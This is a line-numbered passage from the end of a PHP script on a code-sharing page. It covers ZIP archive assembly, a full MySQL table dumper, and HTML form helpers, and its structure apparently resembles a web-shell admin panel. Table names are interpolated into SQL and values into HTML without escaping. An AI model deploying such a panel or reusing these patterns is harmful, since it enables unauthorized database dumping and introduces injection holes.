  4020. $fr .= pack('V', $c_len);
  4022. $fr .= pack('V', $unc_len);
  4024. $fr .= pack('v', strlen($name));
  4026. $fr .= pack('v', 0);
  4028. $fr .= $name;
  4030. $fr .= $zdata;
  4032. $fr .= pack('V', $crc);
  4034. $fr .= pack('V', $c_len);
  4036. $fr .= pack('V', $unc_len);
  4040. $this -> datasec[] = $fr;
  4042. $new_offset = strlen(implode('', $this->datasec));
  4046. $cdrec = "\x50\x4b\x01\x02";
  4048. $cdrec .= "\x00\x00";
  4050. $cdrec .= "\x14\x00";
  4052. $cdrec .= "\x00\x00";
  4054. $cdrec .= "\x08\x00";
  4056. $cdrec .= $hexdtime;
  4058. $cdrec .= pack('V', $crc);
  4060. $cdrec .= pack('V', $c_len);
  4062. $cdrec .= pack('V', $unc_len);
  4064. $cdrec .= pack('v', strlen($name) );
  4066. $cdrec .= pack('v', 0 );
  4068. $cdrec .= pack('v', 0 );
  4070. $cdrec .= pack('v', 0 );
  4072. $cdrec .= pack('v', 0 );
  4074. $cdrec .= pack('V', 32 );
  4076. $cdrec .= pack('V', $this -> old_offset );
  4078. $this -> old_offset = $new_offset;
  4080. $cdrec .= $name;
  4084. $this -> ctrl_dir[] = $cdrec;
  4086. }
  4090. function file() {
  4092. $data = implode('', $this -> datasec);
  4094. $ctrldir = implode('', $this -> ctrl_dir);
  4096. return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
  4098. }
  4100. }
  4106. function sqldumptable($table, $fp=0) {
  4108. $tabledump = "DROP TABLE IF EXISTS $table;\n";
  4110. $tabledump .= "CREATE TABLE $table (\n";
  4114. $firstfield=1;
  4118. $fields = q("SHOW FIELDS FROM $table");
  4120. while ($field = mysql_fetch_array($fields)) {
  4122. if (!$firstfield) {
  4124. $tabledump .= ",\n";
  4126. } else {
  4128. $firstfield=0;
  4130. }
  4132. $tabledump .= " $field[Field] $field[Type]";
  4134. if (!empty($field["Default"])) {
  4136. $tabledump .= " DEFAULT '$field[Default]'";
  4138. }
  4140. if ($field['Null'] != "YES") {
  4142. $tabledump .= " NOT NULL";
  4144. }
  4146. if ($field['Extra'] != "") {
  4148. $tabledump .= " $field[Extra]";
  4150. }
  4152. }
  4154. fr($fields);
  4158. $keys = q("SHOW KEYS FROM $table");
  4160. while ($key = mysql_fetch_array($keys)) {
  4162. $kname=$key['Key_name'];
  4164. if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
  4166. $kname="UNIQUE|$kname";
  4168. }
  4170. if(!is_array($index[$kname])) {
  4172. $index[$kname] = array();
  4174. }
  4176. $index[$kname][] = $key['Column_name'];
  4178. }
  4180. fr($keys);
  4184. while(list($kname, $columns) = @each($index)) {
  4186. $tabledump .= ",\n";
  4188. $colnames=implode($columns,",");
  4192. if ($kname == "PRIMARY") {
  4194. $tabledump .= " PRIMARY KEY ($colnames)";
  4196. } else {
  4198. if (substr($kname,0,6) == "UNIQUE") {
  4200. $kname=substr($kname,7);
  4202. }
  4204. $tabledump .= " KEY $kname ($colnames)";
  4206. }
  4208. }
  4212. $tabledump .= "\n);\n\n";
  4214. if ($fp) {
  4216. fwrite($fp,$tabledump);
  4218. } else {
  4220. echo $tabledump;
  4222. }
  4226. $rows = q("SELECT * FROM $table");
  4228. $numfields = mysql_num_fields($rows);
  4230. while ($row = mysql_fetch_array($rows)) {
  4232. $tabledump = "INSERT INTO $table VALUES(";
  4236. $fieldcounter=-1;
  4238. $firstfield=1;
  4240. while (++$fieldcounter<$numfields) {
  4242. if (!$firstfield) {
  4244. $tabledump.=", ";
  4246. } else {
  4248. $firstfield=0;
  4250. }
  4254. if (!isset($row[$fieldcounter])) {
  4256. $tabledump .= "NULL";
  4258. } else {
  4260. $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  4262. }
  4264. }
  4268. $tabledump .= ");\n";
  4272. if ($fp) {
  4274. fwrite($fp,$tabledump);
  4276. } else {
  4278. echo $tabledump;
  4280. }
  4282. }
  4284. fr($rows);
  4286. if ($fp) {
  4288. fwrite($fp,"\n");
  4290. } else {
  4292. echo "\n";
  4294. }
  4296. }
  4300. function ue($str){
  4302. return urlencode($str);
  4304. }
  4308. function p($str){
  4310. echo $str."\n";
  4312. }
  4316. function tbhead() {
  4318. p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  4320. }
  4322. function tbfoot(){
  4324. p('</table>');
  4326. }
  4330. function makehide($name,$value=''){
  4332. p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  4334. }
  4338. function makeinput($arg = array()){
  4340. $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  4342. $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  4344. !$arg['type'] && $arg['type'] = 'text';
  4346. $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  4348. $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  4350. if ($arg['newline']) {
  4352. p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  4354. } else {
  4356. p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  4358. }
  4360. }
  4364. function makeselect($arg = array()){
  4366. if ($arg['onchange']) {
  4368. $onchange = 'onchange="'.$arg['onchange'].'"';
  4370. }
  4372. $arg['title'] = $arg['title'] ? $arg['title'] : '';
  4374. if ($arg['newline']) p('<p>');
  4376. p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  4378. if (is_array($arg['option'])) {
  4380. foreach ($arg['option'] as $key=>$value) {
  4382. if ($arg['selected']==$key) {
  4384. p("<option value=\"$key\" selected>$value</option>");
  4386. } else {
  4388. p("<option value=\"$key\">$value</option>");
  4390. }
  4392. }
  4394. }
  4396. p("</select>");
  4398. if ($arg['newline']) p('</p>');
  4400. }
  4402. function formhead($arg = array()) {
  4404. !$arg['method'] && $arg['method'] = 'post';
  4406. !$arg['action'] && $arg['action'] = $self;
  4408. $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
  4410. !$arg['name'] && $arg['name'] = 'form1';
  4412. p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  4414. if ($arg['title']) {
  4416. p('<h2>'.$arg['title'].' &raquo;</h2>');
  4418. }
  4420. }
  4424. function maketext($arg = array()){
  4426. !$arg['cols'] && $arg['cols'] = 100;
  4428. !$arg['rows'] && $arg['rows'] = 25;
  4430. $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  4432. p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  4434. }
  4438. function formfooter($name = ''){
  4440. !$name && $name = 'submit';
  4442. p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
  4444. p('</form>');
  4446. }
  4450. function formfoot(){
  4452. p('</form>');
  4454. }
  4460. function pr($a) {
  4462. echo '<pre>';
  4464. print_r($a);
  4466. echo '</pre>';
  4468. }
  4469. ?>
comments powered by Disqus